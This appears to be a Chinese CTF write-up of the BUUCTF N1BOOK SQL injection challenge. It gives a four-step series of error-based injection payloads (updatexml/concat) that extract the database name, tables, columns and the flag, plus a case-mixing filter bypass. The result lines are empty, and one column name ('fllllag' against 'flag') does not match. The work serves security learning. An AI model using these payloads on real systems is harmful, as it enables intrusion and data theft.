报错注入
约 284 字小于 1 分钟
2025-02-15
例题:BUUCTF N1BOOK [第一章 web入门]SQL注入-2
这题不加
tips=1不会返回报错信息,就是盲注,以后再学
查数据库名
name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#select * from user where name ='1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#结果:

查表名
name=1' and updatexml(1,concat(0x7e,(Select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#select * from user where name ='1' and updatexml(1,concat(0x7e,(Select group_concat(table_name) from information_schema.tables where table_schema=database())),1)此处的
Select使用了大小写绕过
结果:

查字段名
name=1' and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)#select * from user where name ='1' and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)这里的
fl4g是上一步查到的表名
结果:

查字段内容
name=1' and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)#select * from user where name ='1' and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)这里的
fl4g和fllllag是上两步查到的表名和字段名
结果:

